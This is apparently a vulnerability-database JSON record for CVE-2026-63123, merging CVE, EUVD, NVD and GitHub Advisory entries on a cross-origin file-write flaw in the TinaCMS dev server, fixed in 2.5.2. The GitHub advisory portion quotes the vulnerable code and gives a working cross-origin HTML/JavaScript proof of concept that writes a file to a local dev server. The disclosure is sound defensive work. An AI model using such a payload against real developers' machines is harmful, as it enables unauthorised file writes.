{"id":"CVE-2026-63123","revision":null,"records":[{"revision":"f8aa9548bf8a4e11ba007b69fd9dd4e3","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-63123","aliases":[],"title":"Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root","description":"Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.","state":0,"publishedAt":"2026-08-19T21:41:18.687+00:00","modifiedAt":"2026-08-25T14:20:27.175+00:00","affected":[{"ecosystem":"Vendor product","name":"tinacms","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tinacms\",\n                    \"product\": \"tinacms\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.5.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x","https://github.com/tinacms/tinacms/pull/7111","https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63123","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-63123","identifiers":["CVE-2026-63123"]},"retained":false,"historicalAffected":[]},{"revision":"5f945d03df814abe9687d6f86b2c5656","observedAt":"2026-11-07T13:28:57.386+00:00","statement":{"source":"euvd","id":"EUVD-2026-62971","aliases":["CVE-2026-63123","GHSA-rgr9-r7mj-mf6x"],"title":"Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and p…","description":"Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":null}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x","https://github.com/tinacms/tinacms/pull/7111","https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-62971","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 19, 2026, 9:41:18 PM","dateUpdated":"Aug 25, 2026, 2:20:27 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-62971","identifiers":["EUVD-2026-62971","CVE-2026-63123","GHSA-rgr9-r7mj-mf6x"]},"retained":false,"historicalAffected":[]},{"revision":"212599f02533413ead9bfbcaa24dad73","observedAt":"2026-10-27T15:15:43.685+00:00","statement":{"source":"nvd","id":"CVE-2026-63123","aliases":[],"title":"Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and p…","description":"Tina is a headless content management system. Prior to 2.5.2, the TinaCMS CLI package's Vite dev server packages/@tinacms/cli/src/next/vite/cors.ts origin callback returns false for a disallowed origin but does not reject the request, and packages/@tinacms/cli/src/next/vite/plugins.ts still routes POST /media/upload/* to mediaRouter.handlePost. The upload code in packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts writes attacker-controlled multipart contents inside the configured media root. A remote attacker can cause a developer's browser to submit this state-changing request by inducing the developer to visit an attacker-controlled page while tinacms dev is running. This issue is fixed in version 2.5.2.","state":0,"publishedAt":"2026-08-19T22:16:58.71+00:00","modifiedAt":"2026-10-26T10:10:00.14+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260","https://github.com/tinacms/tinacms/pull/7111","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2","https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63123","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-352"],"productCriteria":[],"sourceDates":{"published":"2026-08-19T22:16:58.710","lastModified":"2026-10-26T10:10:00.140"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-63123","identifiers":["CVE-2026-63123"]},"retained":false,"historicalAffected":[]},{"revision":"a9f969db14d748388cfac6a21327f680","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-rgr9-r7mj-mf6x","aliases":["CVE-2026-63123"],"title":"Tina: Cross-origin `POST /media/upload/*` requests can write arbitrary files into the Tina dev server media root","description":"### Summary\nA browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running `tinacms dev`. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.\n\n### Details\nThe issue is in the dev server path of `@tinacms/cli`.\n\nThe Vite dev server installs CORS middleware:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nserver.middlewares.use(\n  cors({\n    origin: corsOriginCheck,\n    methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'],\n  })\n);\n```\n\nFor disallowed origins, the origin callback only returns `false` to the CORS library:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/cors.ts\nreturn (origin, callback) => {\n  ...\n  callback(null, false);\n};\n```\n\nThat does not reject the request server-side. The same request is still routed into the upload handler:\n\n```ts\n// packages/@tinacms/cli/src/next/vite/plugins.ts\nif (req.url.startsWith('/media/upload')) {\n  await mediaRouter.handlePost(req, res);\n  return;\n}\n```\n\nThe upload handler then accepts attacker-controlled path and body data and writes the file:\n\n```ts\n// packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts\nbb.on('file', async (_name, file, _info) => {\n  const fullPath = decodeURIComponent(\n    req.url?.slice('/media/upload/'.length)\n  );\n  const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder);\n  await fs.ensureDir(path.dirname(saveTo));\n  file.pipe(fs.createWriteStream(saveTo));\n});\n```\n\nThis is exploitable because `multipart/form-data` is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.\n\nI validated this locally with a browser-backed repro:\n- the request origin was a disallowed non-localhost origin,\n- the browser treated the fetch as blocked,\n- the local Tina media file was still written with attacker-controlled contents.\n\nThe demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.\n\n### PoC\nMinimal reproduction:\n\n1. Start a Tina dev server so the media upload route is reachable at:\n```text\nhttp://127.0.0.1:<TINA_PORT>/media/upload/<filename>\n```\n\n2. From a different, non-allowed origin such as `http://evil.test:8000`, serve this page:\n\n```html\n<!doctype html>\n<script>\n(async () => {\n  const form = new FormData();\n  form.append(\n    'file',\n    new Blob(['poc-from-cross-origin'], { type: 'text/plain' }),\n    'poc.txt'\n  );\n\n  try {\n    await fetch('http://127.0.0.1:<TINA_PORT>/media/upload/poc.txt', {\n      method: 'POST',\n      body: form,\n    });\n    console.log('fetch resolved');\n  } catch {\n    console.log('fetch blocked by CORS');\n  }\n})();\n</script>\n```\n\n3. Open that page in a browser while the Tina dev server is running.\n\n4. Observe:\n- the browser reports the cross-origin request as blocked or inaccessible,\n- but `poc.txt` is still created in the configured media directory, commonly:\n```text\npublic/uploads/poc.txt\n```\n\n5. Verify the file contents are:\n```text\npoc-from-cross-origin\n```\n\nThis reproduces the vulnerability without any victim-side manual upload action.\n\n### Impact\nThis is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.","state":0,"publishedAt":"2026-08-19T21:56:36+00:00","modifiedAt":"2026-08-21T18:45:12.8802316+00:00","affected":[{"ecosystem":"npm","name":"@tinacms/cli","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.5.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/tinacms/tinacms/security/advisories/GHSA-rgr9-r7mj-mf6x","https://nvd.nist.gov/vuln/detail/CVE-2026-63123","https://github.com/tinacms/tinacms/pull/7111","https://github.com/tinacms/tinacms/commit/211997cdb53cbd43638bdee999faa65375cfc260","https://github.com/tinacms/tinacms","https://github.com/tinacms/tinacms/releases/tag/@tinacms/cli@2.5.2"],"sourceUrl":"https://github.com/advisories/GHSA-rgr9-r7mj-mf6x","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rgr9-r7mj-mf6x","identifiers":["GHSA-rgr9-r7mj-mf6x","CVE-2026-63123"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T19:07:25.1127279+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T19:07:25.1127279+00:00","lastSuccessAt":"2026-11-07T19:07:25.259395+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:25.259396+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-0f6819d30115900023f4b20f99e508641b2007efdd91dc0cdc8e3f4191d4d221","complete":true,"records":420942,"lastAttemptAt":"2026-11-07T19:07:24.5330127+00:00","lastSuccessAt":"2026-11-07T19:07:24.4427471+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:24.5330127+00:00","snapshotPublishedAt":"2026-11-07T18:20:15+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-05809410d082491a9e6eb58bff15758d","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T19:19:28.6430553+00:00","lastSuccessAt":"2026-11-07T19:19:28.637+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:19:28.637+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T19:07:25.1127279+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T19:07:25.1127279+00:00","lastSuccessAt":"2026-11-07T19:07:25.2602906+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:25.2602909+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-029d4c3fa5184934830a91e59f7a88f3","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T19:07:38.2251716+00:00","lastSuccessAt":"2026-11-07T19:07:38.222+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:38.222+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T19:07:24.9680856+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:24.9680856+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T19:07:24.6882184+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:24.6882184+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T19:07:25.0706377+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:25.0706377+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T19:07:24.8613995+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T19:07:24.8613995+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}